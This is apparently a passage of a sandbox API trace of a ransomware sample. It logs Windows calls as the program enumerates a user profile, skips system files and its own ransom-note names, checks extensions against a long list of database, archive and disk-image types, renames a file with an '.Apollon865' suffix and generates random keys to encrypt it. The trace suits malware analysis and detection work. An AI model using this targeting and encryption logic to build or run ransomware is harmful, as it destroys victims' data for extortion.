	[0061.113] lstrlenW (lpString="wdb") returned 3
	[0061.113] lstrcmpiW (lpString1="wpl", lpString2="wdb") returned 1
	[0061.113] lstrlenW (lpString="wmdb") returned 4
	[0061.113] lstrcmpiW (lpString1=".wpl", lpString2="wmdb") returned -1
	[0061.113] lstrlenW (lpString="wrk") returned 3
	[0061.113] lstrcmpiW (lpString1="wpl", lpString2="wrk") returned -1
	[0061.113] lstrlenW (lpString="xdb") returned 3
	[0061.113] lstrcmpiW (lpString1="wpl", lpString2="xdb") returned -1
	[0061.113] lstrlenW (lpString="xld") returned 3
	[0061.113] lstrcmpiW (lpString1="wpl", lpString2="xld") returned -1
	[0061.113] lstrlenW (lpString="xmlff") returned 5
	[0061.113] lstrcmpiW (lpString1="s.wpl", lpString2="xmlff") returned -1
	[0061.113] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.Apollon865") returned 129
	[0061.113] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl.apollon865"), dwFlags=0x1) returned 1
	[0061.114] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0061.114] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1267) returned 1
	[0061.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0061.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0061.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0061.114] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0061.115] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0061.115] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.115] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x800, lpName=0x0) returned 0x150
	[0061.117] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x800) returned 0x100000
	[0061.117] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0061.118] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0061.118] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.118] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0061.118] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0061.118] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0061.118] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0061.118] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0061.118] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0061.118] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0061.119] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0061.119] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0061.119] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0061.119] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0061.119] CloseHandle (hObject=0x150) returned 1
	[0061.119] CloseHandle (hObject=0x14c) returned 1
	[0061.119] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0061.119] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0061.119] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0061.119] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1
	[0061.119] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.119] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0061.119] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".") returned 1
	[0061.119] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="..") returned 1
	[0061.119] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="windows") returned -1
	[0061.119] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="bootmgr") returned -1
	[0061.119] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="temp") returned -1
	[0061.120] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="pagefile.sys") returned -1
	[0061.120] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="boot") returned -1
	[0061.120] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="ids.txt") returned -1
	[0061.120] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="ntuser.dat") returned -1
	[0061.120] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="perflogs") returned -1
	[0061.120] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="MSBuild") returned -1
	[0061.120] lstrlenW (lpString="04_Music_played_in_the_last_month.wpl") returned 37
	[0061.120] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 118
	[0061.120] lstrcpyW (in: lpString1=0x119e6b0, lpString2="04_Music_played_in_the_last_month.wpl" | out: lpString1="04_Music_played_in_the_last_month.wpl") returned="04_Music_played_in_the_last_month.wpl"
	[0061.120] lstrlenW (lpString="04_Music_played_in_the_last_month.wpl") returned 37
	[0061.120] lstrlenW (lpString="Apollon865") returned 10
	[0061.120] lstrcmpiW (lpString1="_month.wpl", lpString2="Apollon865") returned -1
	[0061.120] lstrlenW (lpString=".dll") returned 4
	[0061.120] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".dll") returned 1
	[0061.120] lstrlenW (lpString=".lnk") returned 4
	[0061.120] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".lnk") returned 1
	[0061.120] lstrlenW (lpString=".ini") returned 4
	[0061.120] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".ini") returned 1
	[0061.120] lstrlenW (lpString=".sys") returned 4
	[0061.120] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".sys") returned 1
	[0061.120] lstrlenW (lpString="04_Music_played_in_the_last_month.wpl") returned 37
	[0061.120] lstrlenW (lpString="bak") returned 3
	[0061.120] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0061.120] lstrlenW (lpString="ba_") returned 3
	[0061.120] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0061.120] lstrlenW (lpString="dbb") returned 3
	[0061.120] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0061.120] lstrlenW (lpString="vmdk") returned 4
	[0061.120] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0061.120] lstrlenW (lpString="rar") returned 3
	[0061.120] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0061.120] lstrlenW (lpString="zip") returned 3
	[0061.120] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0061.121] lstrlenW (lpString="tgz") returned 3
	[0061.121] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0061.121] lstrlenW (lpString="vbox") returned 4
	[0061.121] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0061.121] lstrlenW (lpString="vdi") returned 3
	[0061.121] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0061.121] lstrlenW (lpString="vhd") returned 3
	[0061.121] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0061.121] lstrlenW (lpString="vhdx") returned 4
	[0061.121] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0061.121] lstrlenW (lpString="avhd") returned 4
	[0061.121] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0061.121] lstrlenW (lpString="db") returned 2
	[0061.121] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0061.121] lstrlenW (lpString="db2") returned 3
	[0061.121] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0061.121] lstrlenW (lpString="db3") returned 3
	[0061.121] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0061.121] lstrlenW (lpString="dbf") returned 3
	[0061.121] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0061.121] lstrlenW (lpString="mdf") returned 3
	[0061.121] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0061.121] lstrlenW (lpString="mdb") returned 3
	[0061.121] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0061.121] lstrlenW (lpString="sql") returned 3
	[0061.170] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0061.170] lstrlenW (lpString="sqlite") returned 6
	[0061.170] lstrcmpiW (lpString1="th.wpl", lpString2="sqlite") returned 1
	[0061.170] lstrlenW (lpString="sqlite3") returned 7
	[0061.170] lstrcmpiW (lpString1="nth.wpl", lpString2="sqlite3") returned -1
	[0061.170] lstrlenW (lpString="sqlitedb") returned 8
	[0061.170] lstrcmpiW (lpString1="onth.wpl", lpString2="sqlitedb") returned -1
	[0061.170] lstrlenW (lpString="xml") returned 3
	[0061.170] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0061.170] lstrlenW (lpString="$er") returned 3
	[0061.170] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0061.170] lstrlenW (lpString="4dd") returned 3
	[0061.171] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0061.171] lstrlenW (lpString="4dl") returned 3
	[0061.171] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0061.171] lstrlenW (lpString="^^^") returned 3
	[0061.171] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0061.171] lstrlenW (lpString="abs") returned 3
	[0061.171] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0061.171] lstrlenW (lpString="abx") returned 3
	[0061.171] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0061.171] lstrlenW (lpString="accdb") returned 5
	[0061.171] lstrcmpiW (lpString1="h.wpl", lpString2="accdb") returned 1
	[0061.171] lstrlenW (lpString="accdc") returned 5
	[0061.171] lstrcmpiW (lpString1="h.wpl", lpString2="accdc") returned 1
	[0061.171] lstrlenW (lpString="accde") returned 5
	[0061.171] lstrcmpiW (lpString1="h.wpl", lpString2="accde") returned 1
	[0061.171] lstrlenW (lpString="accdr") returned 5
	[0061.171] lstrcmpiW (lpString1="h.wpl", lpString2="accdr") returned 1
	[0061.171] lstrlenW (lpString="accdt") returned 5
	[0061.171] lstrcmpiW (lpString1="h.wpl", lpString2="accdt") returned 1
	[0061.171] lstrlenW (lpString="accdw") returned 5
	[0061.171] lstrcmpiW (lpString1="h.wpl", lpString2="accdw") returned 1
	[0061.171] lstrlenW (lpString="accft") returned 5
	[0061.171] lstrcmpiW (lpString1="h.wpl", lpString2="accft") returned 1
	[0061.171] lstrlenW (lpString="adb") returned 3
	[0061.171] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.171] lstrlenW (lpString="adb") returned 3
	[0061.171] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.171] lstrlenW (lpString="ade") returned 3
	[0061.171] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0061.171] lstrlenW (lpString="adf") returned 3
	[0061.171] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0061.171] lstrlenW (lpString="adn") returned 3
	[0061.171] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0061.172] lstrlenW (lpString="adp") returned 3
	[0061.172] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0061.172] lstrlenW (lpString="alf") returned 3
	[0061.172] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0061.172] lstrlenW (lpString="ask") returned 3
	[0061.172] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0061.172] lstrlenW (lpString="btr") returned 3
	[0061.172] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0061.172] lstrlenW (lpString="cat") returned 3
	[0061.172] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0061.172] lstrlenW (lpString="cdb") returned 3
	[0061.172] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0061.172] lstrlenW (lpString="ckp") returned 3
	[0061.172] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0061.172] lstrlenW (lpString="cma") returned 3
	[0061.172] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0061.172] lstrlenW (lpString="cpd") returned 3
	[0061.172] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0061.172] lstrlenW (lpString="dacpac") returned 6
	[0061.172] lstrcmpiW (lpString1="th.wpl", lpString2="dacpac") returned 1
	[0061.172] lstrlenW (lpString="dad") returned 3
	[0061.172] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0061.172] lstrlenW (lpString="dadiagrams") returned 10
	[0061.172] lstrcmpiW (lpString1="_month.wpl", lpString2="dadiagrams") returned -1
	[0061.172] lstrlenW (lpString="daschema") returned 8
	[0061.172] lstrcmpiW (lpString1="onth.wpl", lpString2="daschema") returned 1
	[0061.172] lstrlenW (lpString="db-journal") returned 10
	[0061.172] lstrcmpiW (lpString1="_month.wpl", lpString2="db-journal") returned -1
	[0061.172] lstrlenW (lpString="db-shm") returned 6
	[0061.172] lstrcmpiW (lpString1="th.wpl", lpString2="db-shm") returned 1
	[0061.172] lstrlenW (lpString="db-wal") returned 6
	[0061.172] lstrcmpiW (lpString1="th.wpl", lpString2="db-wal") returned 1
	[0061.172] lstrlenW (lpString="dbc") returned 3
	[0061.172] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0061.173] lstrlenW (lpString="dbs") returned 3
	[0061.173] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0061.173] lstrlenW (lpString="dbt") returned 3
	[0061.173] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0061.173] lstrlenW (lpString="dbv") returned 3
	[0061.173] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0061.173] lstrlenW (lpString="dbx") returned 3
	[0061.173] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0061.173] lstrlenW (lpString="dcb") returned 3
	[0061.173] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0061.173] lstrlenW (lpString="dct") returned 3
	[0061.173] lstrcmpiW (lpString1="wpl", lpString2="dct") returned 1
	[0061.173] lstrlenW (lpString="dcx") returned 3
	[0061.173] lstrcmpiW (lpString1="wpl", lpString2="dcx") returned 1
	[0061.173] lstrlenW (lpString="ddl") returned 3
	[0061.173] lstrcmpiW (lpString1="wpl", lpString2="ddl") returned 1
	[0061.173] lstrlenW (lpString="dlis") returned 4
	[0061.173] lstrcmpiW (lpString1=".wpl", lpString2="dlis") returned -1
	[0061.173] lstrlenW (lpString="dp1") returned 3
	[0061.173] lstrcmpiW (lpString1="wpl", lpString2="dp1") returned 1
	[0061.173] lstrlenW (lpString="dqy") returned 3
	[0061.173] lstrcmpiW (lpString1="wpl", lpString2="dqy") returned 1
	[0061.173] lstrlenW (lpString="dsk") returned 3
	[0061.173] lstrcmpiW (lpString1="wpl", lpString2="dsk") returned 1
	[0061.173] lstrlenW (lpString="dsn") returned 3
	[0061.173] lstrcmpiW (lpString1="wpl", lpString2="dsn") returned 1
	[0061.173] lstrlenW (lpString="dtsx") returned 4
	[0061.173] lstrcmpiW (lpString1=".wpl", lpString2="dtsx") returned -1
	[0061.173] lstrlenW (lpString="dxl") returned 3
	[0061.173] lstrcmpiW (lpString1="wpl", lpString2="dxl") returned 1
	[0061.173] lstrlenW (lpString="eco") returned 3
	[0061.173] lstrcmpiW (lpString1="wpl", lpString2="eco") returned 1
	[0061.173] lstrlenW (lpString="ecx") returned 3
	[0061.174] lstrcmpiW (lpString1="wpl", lpString2="ecx") returned 1
	[0061.174] lstrlenW (lpString="edb") returned 3
	[0061.174] lstrcmpiW (lpString1="wpl", lpString2="edb") returned 1
	[0061.174] lstrlenW (lpString="epim") returned 4
	[0061.174] lstrcmpiW (lpString1=".wpl", lpString2="epim") returned -1
	[0061.174] lstrlenW (lpString="fcd") returned 3
	[0061.174] lstrcmpiW (lpString1="wpl", lpString2="fcd") returned 1
	[0061.174] lstrlenW (lpString="fdb") returned 3
	[0061.174] lstrcmpiW (lpString1="wpl", lpString2="fdb") returned 1
	[0061.174] lstrlenW (lpString="fic") returned 3
	[0061.174] lstrcmpiW (lpString1="wpl", lpString2="fic") returned 1
	[0061.174] lstrlenW (lpString="flexolibrary") returned 12
	[0061.174] lstrcmpiW (lpString1="st_month.wpl", lpString2="flexolibrary") returned 1
	[0061.174] lstrlenW (lpString="fm5") returned 3
	[0061.174] lstrcmpiW (lpString1="wpl", lpString2="fm5") returned 1
	[0061.174] lstrlenW (lpString="fmp") returned 3
	[0061.174] lstrcmpiW (lpString1="wpl", lpString2="fmp") returned 1
	[0061.174] lstrlenW (lpString="fmp12") returned 5
	[0061.174] lstrcmpiW (lpString1="h.wpl", lpString2="fmp12") returned 1
	[0061.174] lstrlenW (lpString="fmpsl") returned 5
	[0061.174] lstrcmpiW (lpString1="h.wpl", lpString2="fmpsl") returned 1
	[0061.174] lstrlenW (lpString="fol") returned 3
	[0061.174] lstrcmpiW (lpString1="wpl", lpString2="fol") returned 1
	[0061.174] lstrlenW (lpString="fp3") returned 3
	[0061.174] lstrcmpiW (lpString1="wpl", lpString2="fp3") returned 1
	[0061.174] lstrlenW (lpString="fp4") returned 3
	[0061.174] lstrcmpiW (lpString1="wpl", lpString2="fp4") returned 1
	[0061.174] lstrlenW (lpString="fp5") returned 3
	[0061.174] lstrcmpiW (lpString1="wpl", lpString2="fp5") returned 1
	[0061.174] lstrlenW (lpString="fp7") returned 3
	[0061.174] lstrcmpiW (lpString1="wpl", lpString2="fp7") returned 1
	[0061.174] lstrlenW (lpString="fpt") returned 3
	[0061.174] lstrcmpiW (lpString1="wpl", lpString2="fpt") returned 1
	[0061.174] lstrlenW (lpString="frm") returned 3
	[0061.175] lstrcmpiW (lpString1="wpl", lpString2="frm") returned 1
	[0061.175] lstrlenW (lpString="gdb") returned 3
	[0061.175] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.175] lstrlenW (lpString="gdb") returned 3
	[0061.175] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.175] lstrlenW (lpString="grdb") returned 4
	[0061.175] lstrcmpiW (lpString1=".wpl", lpString2="grdb") returned -1
	[0061.175] lstrlenW (lpString="gwi") returned 3
	[0061.175] lstrcmpiW (lpString1="wpl", lpString2="gwi") returned 1
	[0061.175] lstrlenW (lpString="hdb") returned 3
	[0061.175] lstrcmpiW (lpString1="wpl", lpString2="hdb") returned 1
	[0061.175] lstrlenW (lpString="his") returned 3
	[0061.175] lstrcmpiW (lpString1="wpl", lpString2="his") returned 1
	[0061.175] lstrlenW (lpString="ib") returned 2
	[0061.175] lstrcmpiW (lpString1="pl", lpString2="ib") returned 1
	[0061.175] lstrlenW (lpString="idb") returned 3
	[0061.175] lstrcmpiW (lpString1="wpl", lpString2="idb") returned 1
	[0061.175] lstrlenW (lpString="ihx") returned 3
	[0061.175] lstrcmpiW (lpString1="wpl", lpString2="ihx") returned 1
	[0061.175] lstrlenW (lpString="itdb") returned 4
	[0061.175] lstrcmpiW (lpString1=".wpl", lpString2="itdb") returned -1
	[0061.175] lstrlenW (lpString="itw") returned 3
	[0061.175] lstrcmpiW (lpString1="wpl", lpString2="itw") returned 1
	[0061.175] lstrlenW (lpString="jet") returned 3
	[0061.175] lstrcmpiW (lpString1="wpl", lpString2="jet") returned 1
	[0061.175] lstrlenW (lpString="jtx") returned 3
	[0061.175] lstrcmpiW (lpString1="wpl", lpString2="jtx") returned 1
	[0061.175] lstrlenW (lpString="kdb") returned 3
	[0061.175] lstrcmpiW (lpString1="wpl", lpString2="kdb") returned 1
	[0061.175] lstrlenW (lpString="kexi") returned 4
	[0061.175] lstrcmpiW (lpString1=".wpl", lpString2="kexi") returned -1
	[0061.175] lstrlenW (lpString="kexic") returned 5
	[0061.175] lstrcmpiW (lpString1="h.wpl", lpString2="kexic") returned -1
	[0061.175] lstrlenW (lpString="kexis") returned 5
	[0061.175] lstrcmpiW (lpString1="h.wpl", lpString2="kexis") returned -1
	[0061.176] lstrlenW (lpString="lgc") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="lgc") returned 1
	[0061.176] lstrlenW (lpString="lwx") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="lwx") returned 1
	[0061.176] lstrlenW (lpString="maf") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="maf") returned 1
	[0061.176] lstrlenW (lpString="maq") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="maq") returned 1
	[0061.176] lstrlenW (lpString="mar") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="mar") returned 1
	[0061.176] lstrlenW (lpString="marshal") returned 7
	[0061.176] lstrcmpiW (lpString1="nth.wpl", lpString2="marshal") returned 1
	[0061.176] lstrlenW (lpString="mas") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="mas") returned 1
	[0061.176] lstrlenW (lpString="mav") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="mav") returned 1
	[0061.176] lstrlenW (lpString="maw") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="maw") returned 1
	[0061.176] lstrlenW (lpString="mdbhtml") returned 7
	[0061.176] lstrcmpiW (lpString1="nth.wpl", lpString2="mdbhtml") returned 1
	[0061.176] lstrlenW (lpString="mdn") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="mdn") returned 1
	[0061.176] lstrlenW (lpString="mdt") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="mdt") returned 1
	[0061.176] lstrlenW (lpString="mfd") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="mfd") returned 1
	[0061.176] lstrlenW (lpString="mpd") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="mpd") returned 1
	[0061.176] lstrlenW (lpString="mrg") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="mrg") returned 1
	[0061.176] lstrlenW (lpString="mud") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="mud") returned 1
	[0061.176] lstrlenW (lpString="mwb") returned 3
	[0061.176] lstrcmpiW (lpString1="wpl", lpString2="mwb") returned 1
	[0061.177] lstrlenW (lpString="myd") returned 3
	[0061.177] lstrcmpiW (lpString1="wpl", lpString2="myd") returned 1
	[0061.177] lstrlenW (lpString="ndf") returned 3
	[0061.177] lstrcmpiW (lpString1="wpl", lpString2="ndf") returned 1
	[0061.177] lstrlenW (lpString="nnt") returned 3
	[0061.177] lstrcmpiW (lpString1="wpl", lpString2="nnt") returned 1
	[0061.177] lstrlenW (lpString="nrmlib") returned 6
	[0061.177] lstrcmpiW (lpString1="th.wpl", lpString2="nrmlib") returned 1
	[0061.177] lstrlenW (lpString="ns2") returned 3
	[0061.177] lstrcmpiW (lpString1="wpl", lpString2="ns2") returned 1
	[0061.177] lstrlenW (lpString="ns3") returned 3
	[0061.177] lstrcmpiW (lpString1="wpl", lpString2="ns3") returned 1
	[0061.177] lstrlenW (lpString="ns4") returned 3
	[0061.177] lstrcmpiW (lpString1="wpl", lpString2="ns4") returned 1
	[0061.177] lstrlenW (lpString="nsf") returned 3
	[0061.177] lstrcmpiW (lpString1="wpl", lpString2="nsf") returned 1
	[0061.177] lstrlenW (lpString="nv") returned 2
	[0061.177] lstrcmpiW (lpString1="pl", lpString2="nv") returned 1
	[0061.177] lstrlenW (lpString="nv2") returned 3
	[0061.177] lstrcmpiW (lpString1="wpl", lpString2="nv2") returned 1
	[0061.177] lstrlenW (lpString="nwdb") returned 4
	[0061.177] lstrcmpiW (lpString1=".wpl", lpString2="nwdb") returned -1
	[0061.177] lstrlenW (lpString="nyf") returned 3
	[0061.177] lstrcmpiW (lpString1="wpl", lpString2="nyf") returned 1
	[0061.177] lstrlenW (lpString="odb") returned 3
	[0061.177] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.177] lstrlenW (lpString="odb") returned 3
	[0061.177] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.177] lstrlenW (lpString="oqy") returned 3
	[0061.177] lstrcmpiW (lpString1="wpl", lpString2="oqy") returned 1
	[0061.177] lstrlenW (lpString="ora") returned 3
	[0061.177] lstrcmpiW (lpString1="wpl", lpString2="ora") returned 1
	[0061.177] lstrlenW (lpString="orx") returned 3
	[0061.178] lstrcmpiW (lpString1="wpl", lpString2="orx") returned 1
	[0061.178] lstrlenW (lpString="owc") returned 3
	[0061.178] lstrcmpiW (lpString1="wpl", lpString2="owc") returned 1
	[0061.178] lstrlenW (lpString="p96") returned 3
	[0061.178] lstrcmpiW (lpString1="wpl", lpString2="p96") returned 1
	[0061.178] lstrlenW (lpString="p97") returned 3
	[0061.178] lstrcmpiW (lpString1="wpl", lpString2="p97") returned 1
	[0061.178] lstrlenW (lpString="pan") returned 3
	[0061.178] lstrcmpiW (lpString1="wpl", lpString2="pan") returned 1
	[0061.178] lstrlenW (lpString="pdb") returned 3
	[0061.178] lstrcmpiW (lpString1="wpl", lpString2="pdb") returned 1
	[0061.178] lstrlenW (lpString="pdm") returned 3
	[0061.178] lstrcmpiW (lpString1="wpl", lpString2="pdm") returned 1
	[0061.178] lstrlenW (lpString="pnz") returned 3
	[0061.178] lstrcmpiW (lpString1="wpl", lpString2="pnz") returned 1
	[0061.178] lstrlenW (lpString="qry") returned 3
	[0061.178] lstrcmpiW (lpString1="wpl", lpString2="qry") returned 1
	[0061.178] lstrlenW (lpString="qvd") returned 3
	[0061.178] lstrcmpiW (lpString1="wpl", lpString2="qvd") returned 1
	[0061.178] lstrlenW (lpString="rbf") returned 3
	[0061.178] lstrcmpiW (lpString1="wpl", lpString2="rbf") returned 1
	[0061.178] lstrlenW (lpString="rctd") returned 4
	[0061.178] lstrcmpiW (lpString1=".wpl", lpString2="rctd") returned -1
	[0061.178] lstrlenW (lpString="rod") returned 3
	[0061.178] lstrcmpiW (lpString1="wpl", lpString2="rod") returned 1
	[0061.178] lstrlenW (lpString="rodx") returned 4
